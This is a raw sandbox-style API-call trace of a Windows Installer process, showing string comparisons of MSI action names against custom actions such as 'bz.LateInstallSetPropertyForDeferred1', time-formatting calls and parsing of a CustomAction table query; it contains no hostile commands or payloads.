lstrcmpW (lpString1="FileCost", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="FindRelatedProducts", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="GenerateScript", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="InstallAdminPackage", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="InstallFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="InstallODBC", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="InstallServices", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="InstallValidate", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="LaunchConditions", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="MoveFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="PatchFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="ProcessComponents", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="PublishComponents", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="PublishFeatures", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="PublishProduct", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterClassInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterComPlus", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterFonts", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterProduct", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.486] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RegisterUser", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveFolders", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveIniValues", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveODBC", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RemoveShortcuts", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RMCCPSearch", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="Rollback", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="RollbackCleanup", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="SelfRegModules", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="SelfUnregModules", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="SetODBCFolders", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="StartServices", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="StopServices", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnmoveFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnpublishComponents", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnpublishFeatures", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnpublishProduct", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterComPlus", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterFonts", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.487] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] lstrcmpW (lpString1="WriteIniValues", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] lstrcmpW (lpString1="WriteRegistryValues", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] lstrcmpW (lpString1="ShutdownApplications", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] lstrcmpW (lpString1="ConfigureServices", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.488] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.488] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.488] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.488] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.488] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.488] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.488] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.488] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.488] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.488] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.488] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.489] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.490] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.490] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.490] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.490] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.490] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.490] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.490] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.490] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.490] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.490] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.492] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'") returned 104 [0149.492] lstrlenW (lpString="bz.LateInstallSetPropertyForDeferred1") returned 37 [0149.492] _vsnwprintf (in: _Buffer=0x37b01a0, _BufferCount=0x8d, _Format="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'", _ArgList=0x10ce418 | out: _Buffer="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallSetPropertyForDeferred1'") returned 139 [0149.492] GlobalLock (hMem=0xf40208) returned 0x3cc0f0 [0149.492] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.492] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.492] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.492] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.492] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.492] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.492] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.492] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.492] lstrlenW (lpString="CustomAction") returned 12 [0149.492] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䘌䗶䐲䆊䌷䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce060, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.493] IStream:Stat (in: This=0x32f000, pstatstg=0x10cdfc0, grfStatFlag=0x1 | out: pstatstg=0x10cdfc0) returned 0x0 [0149.493] GlobalLock (hMem=0xf40228) returned 0x37b07e0 [0149.493] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0xae, pcbRead=0x372cbc*=0xb4) returned 0x0 [0149.493] memcpy (in: _Dst=0x37b07e4, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x37b07e4) returned 0x37b07e4 [0149.493] memcpy (in: _Dst=0x37b07fc, _Src=0x3728be, _Size=0x2 | out: _Dst=0x37b07fc) returned 0x37b07fc [0149.493] memcpy (in: _Dst=0x37b0814, _Src=0x3728c0, _Size=0x2 | out: _Dst=0x37b0814) returned 0x37b0814 [0149.493] memcpy (in: _Dst=0x37b082c, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x37b082c) returned 0x37b082c [0149.493] memcpy (in: _Dst=0x37b0844, _Src=0x3728c4, _Size=0x2 | out: _Dst=0x37b0844) returned 0x37b0844 [0149.493] memcpy (in: _Dst=0x37b085c, _Src=0x3728c6, _Size=0x2 | out: _Dst=0x37b085c) returned 0x37b085c [0149.493] memcpy (in: _Dst=0x37b0874, _Src=0x3728c8, _Size=0x2 | out: _Dst=0x37b0874) returned 0x37b0874 [0149.493] memcpy (in: _Dst=0x37b088c, _Src=0x3728ca, _Size=0x2 | out: _Dst=0x37b088c) returned 0x37b088c [0149.493] memcpy (in: _Dst=0x37b08a4, _Src=0x3728cc, _Size=0x2 | out: _Dst=0x37b08a4) returned 0x37b08a4 [0149.493] memcpy (in: _Dst=0x37b08bc, _Src=0x3728ce, _Size=0x2 | out: _Dst=0x37b08bc) returned 0x37b08bc [0149.493] memcpy (in: _Dst=0x37b08d4, _Src=0x3728d0, _Size=0x2 | out: _Dst=0x37b08d4) returned 0x37b08d4 [0149.493] memcpy (in: _Dst=0x37b08ec, _Src=0x3728d2, _Size=0x2 | out: _Dst=0x37b08ec) returned 0x37b08ec [0149.493] memcpy (in: _Dst=0x37b0904, _Src=0x3728d4, _Size=0x2 | out: _Dst=0x37b0904) returned 0x37b0904 [0149.493] memcpy (in: _Dst=0x37b091c, _Src=0x3728d6, _Size=0x2 | out: _Dst=0x37b091c) returned 0x37b091c [0149.493] memcpy (in: _Dst=0x37b0934, _Src=0x3728d8, _Size=0x2 | out: _Dst=0x37b0934) returned 0x37b0934 [0149.493] memcpy (in: _Dst=0x10ce138, _Src=0x3728da, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.493] memcpy (in: _Dst=0x10ce138, _Src=0x3728dc, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.493] memcpy (in: _Dst=0x10ce138, _Src=0x3728de, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.493] memcpy (in: _Dst=0x10ce138, _Src=0x3728e0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728e2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728e4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728e6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728e8, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728ea, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728ec, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728ee, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728f0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728f2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728f4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x10ce138, _Src=0x3728f6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.494] memcpy (in: _Dst=0x37b07ec, _Src=0x3728f8, _Size=0x2 | out: _Dst=0x37b07ec) returned 0x37b07ec [0149.494] memcpy (in: _Dst=0x37b0804, _Src=0x3728fa, _Size=0x2 | out: _Dst=0x37b0804) returned 0x37b0804 [0149.494] memcpy (in: _Dst=0x37b081c, _Src=0x3728fc, _Size=0x2 | out: _Dst=0x37b081c) returned 0x37b081c [0149.494] memcpy (in: _Dst=0x37b0834, _Src=0x3728fe, _Size=0x2 | out: _Dst=0x37b0834) returned 0x37b0834 [0149.494] memcpy (in: _Dst=0x37b084c, _Src=0x372900, _Size=0x2 | out: _Dst=0x37b084c) returned 0x37b084c [0149.494] memcpy (in: _Dst=0x37b0864, _Src=0x372902, _Size=0x2 | out: _Dst=0x37b0864) returned 0x37b0864 [0149.494] memcpy (in: _Dst=0x37b087c, _Src=0x372904, _Size=0x2 | out: _Dst=0x37b087c) returned 0x37b087c [0149.494] memcpy (in: _Dst=0x37b0894, _Src=0x372906, _Size=0x2 | out: _Dst=0x37b0894) returned 0x37b0894 [0149.494] memcpy (in: _Dst=0x37b08ac, _Src=0x372908, _Size=0x2 | out: _Dst=0x37b08ac) returned 0x37b08ac [0149.494] memcpy (in: _Dst=0x37b08c4, _Src=0x37290a, _Size=0x2 | out: _Dst=0x37b08c4) returned 0x37b08c4 [0149.494] memcpy (in: _Dst=0x37b08dc, _Src=0x37290c, _Size=0x2 | out: _Dst=0x37b08dc) returned 0x37b08dc [0149.494] memcpy (in: _Dst=0x37b08f4, _Src=0x37290e, _Size=0x2 | out: _Dst=0x37b08f4) returned 0x37b08f4 [0149.494] memcpy (in: _Dst=0x37b090c, _Src=0x372910, _Size=0x2 | out: _Dst=0x37b090c) returned 0x37b090c [0149.494] memcpy (in: _Dst=0x37b0924, _Src=0x372912, _Size=0x2 | out: _Dst=0x37b0924) returned 0x37b0924 [0149.494] memcpy (in: _Dst=0x37b093c, _Src=0x372914, _Size=0x2 | out: _Dst=0x37b093c) returned 0x37b093c [0149.494] memcpy (in: _Dst=0x37b07f0, _Src=0x372916, _Size=0x2 | out: _Dst=0x37b07f0) returned 0x37b07f0 [0149.494] memcpy (in: _Dst=0x37b0808, _Src=0x372918, _Size=0x2 | out: _Dst=0x37b0808) returned 0x37b0808 [0149.494] memcpy (in: _Dst=0x37b0820, _Src=0x37291a, _Size=0x2 | out: _Dst=0x37b0820) returned 0x37b0820 [0149.494] memcpy (in: _Dst=0x37b0838, _Src=0x37291c, _Size=0x2 | out: _Dst=0x37b0838) returned 0x37b0838 [0149.494] memcpy (in: _Dst=0x37b0850, _Src=0x37291e, _Size=0x2 | out: _Dst=0x37b0850) returned 0x37b0850 [0149.494] memcpy (in: _Dst=0x37b0868, _Src=0x372920, _Size=0x2 | out: _Dst=0x37b0868) returned 0x37b0868 [0149.494] memcpy (in: _Dst=0x37b0880, _Src=0x372922, _Size=0x2 | out: _Dst=0x37b0880) returned 0x37b0880 [0149.494] memcpy (in: _Dst=0x37b0898, _Src=0x372924, _Size=0x2 | out: _Dst=0x37b0898) returned 0x37b0898 [0149.494] memcpy (in: _Dst=0x37b08b0, _Src=0x372926, _Size=0x2 | out: _Dst=0x37b08b0) returned 0x37b08b0 [0149.494] memcpy (in: _Dst=0x37b08c8, _Src=0x372928, _Size=0x2 | out: _Dst=0x37b08c8) returned 0x37b08c8 [0149.494] memcpy (in: _Dst=0x37b08e0, _Src=0x37292a, _Size=0x2 | out: _Dst=0x37b08e0) returned 0x37b08e0 [0149.495] memcpy (in: _Dst=0x37b08f8, _Src=0x37292c, _Size=0x2 | out: _Dst=0x37b08f8) returned 0x37b08f8 [0149.495] memcpy (in: _Dst=0x37b0910, _Src=0x37292e, _Size=0x2 | out: _Dst=0x37b0910) returned 0x37b0910 [0149.495] memcpy (in: _Dst=0x37b0928, _Src=0x372930, _Size=0x2 | out: _Dst=0x37b0928) returned 0x37b0928 [0149.495] memcpy (in: _Dst=0x37b0940, _Src=0x372932, _Size=0x2 | out: _Dst=0x37b0940) returned 0x37b0940 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372934, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372938, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x37293c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372940, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372944, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372948, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x37294c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372950, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372954, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372958, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x37295c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372960, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372964, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x372968, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] memcpy (in: _Dst=0x10ce138, _Src=0x37296c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.495] IUnknown:Release (This=0x32f000) returned 0x0 [0149.495] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.495] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.495] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.495] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.495] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.496] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.496] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.496] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.496] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.496] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.496] lstrlenW (lpString="Action") returned 6 [0149.496] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.496] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.496] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.496] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.496] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.496] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.496] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.496] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.496] lstrlenW (lpString="Action") returned 6 [0149.496] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.496] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.496] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.496] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.496] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.496] lstrlenW (lpString="NULL") returned 4 [0149.496] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.496] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.497] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.497] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.497] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.497] GlobalUnlock (hMem=0xf40208) returned 0 [0149.497] GlobalUnlock (hMem=0xf40228) returned 0 [0149.497] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.497] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.497] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.497] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.497] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x290)) [0149.497] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.497] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.497] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.497] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.497] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.497] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.499] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0149.499] lstrcmpW (lpString1="Advertise", lpString2="bz.LateInstallFinish1") returned -1 [0149.499] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="bz.LateInstallFinish1") returned -1 [0149.499] lstrcmpW (lpString1="AppSearch", lpString2="bz.LateInstallFinish1") returned -1 [0149.499] lstrcmpW (lpString1="BindImage", lpString2="bz.LateInstallFinish1") returned -1 [0149.499] lstrcmpW (lpString1="CCPSearch", lpString2="bz.LateInstallFinish1") returned 1 [0149.499] lstrcmpW (lpString1="CostFinalize", lpString2="bz.LateInstallFinish1") returned 1 [0149.499] lstrcmpW (lpString1="CostInitialize", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="CreateFolders", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="CreateShortcuts", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="DeleteServices", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="DuplicateFiles", lpString2="bz.LateInstallFinish1") returned 1 [0149.500] lstrcmpW (lpString1="FileCost", 